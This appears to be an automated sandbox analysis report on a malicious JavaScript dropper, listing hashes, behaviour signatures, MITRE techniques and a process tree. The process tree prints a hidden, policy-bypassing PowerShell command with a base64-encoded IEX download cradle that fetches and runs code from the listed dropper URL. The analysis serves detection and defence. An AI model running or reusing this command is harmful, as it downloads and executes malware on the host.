70ec3d6d6a6978bd21bd40b4e3e3a569d48b05fac0a7a8765753704d4197bfa2

General

Target

9403.js
Size

345KB
MD5

eea189749c6dcf6c8c04205ab60bb53c
SHA1

62ddf57299772f737a0ed6b5cc128e6357eea2c8
SHA256

70ec3d6d6a6978bd21bd40b4e3e3a569d48b05fac0a7a8765753704d4197bfa2
SHA512

f0c4f1e2ab43eb984f84abcf36075976f2f2be8e4e87f24c821ddfa076638a7271bb6278f8857bb18113034a6bb89fcf2a2a1c3e3b6b6a39b9536facee985d4e

Score

10^/10

Malware Config

Extracted

Language

ps1

Deobfuscated

URLs

ps1.dropper

https://jolantagraban.pl/log/57843441668980/dll/assistant.php

Signatures

Blocklisted process makes network request 1 IoCs

Processes:

powershell.exe

flow	pid	Process
7	1416	powershell.exe

Enumerates physical storage devices 1 TTPs
Attempts to interact with connected storage/optical drive(s). Likely ransomware behaviour.

System Information Discovery
T1082

Suspicious behavior: EnumeratesProcesses 2 IoCs

Processes:

powershell.exe

pid	Process
1416	powershell.exe
1416	powershell.exe

Suspicious use of AdjustPrivilegeToken 1 IoCs

Processes:

powershell.exe

description	pid	Process
Token: SeDebugPrivilege	1416	powershell.exe

Suspicious use of WriteProcessMemory 6 IoCs

Processes:

wscript.execmd.exe

description	pid	Process	procid_target
PID 368 wrote to memory of 1524	368	wscript.exe	29
PID 368 wrote to memory of 1524	368	wscript.exe	29
PID 368 wrote to memory of 1524	368	wscript.exe	29
PID 1524 wrote to memory of 1416	1524	cmd.exe	31
PID 1524 wrote to memory of 1416	1524	cmd.exe	31
PID 1524 wrote to memory of 1416	1524	cmd.exe	31

C:\Windows\system32\wscript.exe
wscript.exe C:\Users\Admin\AppData\Local\Temp\9403.js
1⤵
- Suspicious use of WriteProcessMemory
PID:368
- C:\Windows\System32\cmd.exe
  "C:\Windows\System32\cmd.exe" /c poWERshEll -nop -w hidden -ep bypass -enc SQBFAFgAIAAoAE4AZQB3AC0ATwBiAGoAZQBjAHQAIABOAGUAdAAuAFcAZQBiAGMAbABpAGUAbgB0ACkALgBkAG8AdwBuAGwAbwBhAGQAcwB0AHIAaQBuAGcAKAAiAGgAdAB0AHAAcwA6AC8ALwBqAG8AbABhAG4AdABhAGcAcgBhAGIAYQBuAC4AcABsAC8AbABvAGcALwA1ADcAOAA0ADMANAA0ADEANgA2ADgAOQA4ADAALwBkAGwAbAAvAGEAcwBzAGkAcwB0AGEAbgB0AC4AcABoAHAAIgApAA==
  2⤵
  - Suspicious use of WriteProcessMemory
  PID:1524
- - C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
    poWERshEll -nop -w hidden -ep bypass -enc SQBFAFgAIAAoAE4AZQB3AC0ATwBiAGoAZQBjAHQAIABOAGUAdAAuAFcAZQBiAGMAbABpAGUAbgB0ACkALgBkAG8AdwBuAGwAbwBhAGQAcwB0AHIAaQBuAGcAKAAiAGgAdAB0AHAAcwA6AC8ALwBqAG8AbABhAG4AdABhAGcAcgBhAGIAYQBuAC4AcABsAC8AbABvAGcALwA1ADcAOAA0ADMANAA0ADEANgA2ADgAOQA4ADAALwBkAGwAbAAvAGEAcwBzAGkAcwB0AGEAbgB0AC4AcABoAHAAIgApAA==
    3⤵
    - Blocklisted process makes network request
    - Suspicious behavior: EnumeratesProcesses
    - Suspicious use of AdjustPrivilegeToken
    PID:1416

Network

MITRE ATT&CK Enterprise v6

Initial Access

Execution

Persistence

Privilege Escalation

Defense Evasion

Credential Access

Discovery

System Information Discovery

1

T1082

Lateral Movement

Collection

Command and Control

Exfiltration

Impact

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Downloads

memory/1416-61-0x0000000000000000-mapping.dmp

Download
memory/1416-62-0x000007FEFBDC1000-0x000007FEFBDC3000-memory.dmp

Filesize
8KB

Download
memory/1416-63-0x0000000002530000-0x0000000002531000-memory.dmp

Filesize
4KB

Download
memory/1416-64-0x000000001A9E0000-0x000000001A9E1000-memory.dmp

Filesize
4KB

Download
memory/1416-65-0x0000000002410000-0x0000000002412000-memory.dmp

Filesize
8KB

Download
memory/1416-67-0x0000000002414000-0x0000000002416000-memory.dmp

Filesize
8KB

Download
memory/1416-66-0x0000000002780000-0x0000000002781000-memory.dmp

Filesize
4KB

Download
memory/1416-68-0x0000000002490000-0x0000000002491000-memory.dmp

Filesize
4KB

Download
memory/1416-69-0x000000001B710000-0x000000001B711000-memory.dmp

Filesize
4KB

Download
memory/1524-60-0x0000000000000000-mapping.dmp

Download

Analysis

Sharing

General

Malware Config

Extracted

Signatures

Processes

Network

MITRE ATT&CK Enterprise v6

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Downloads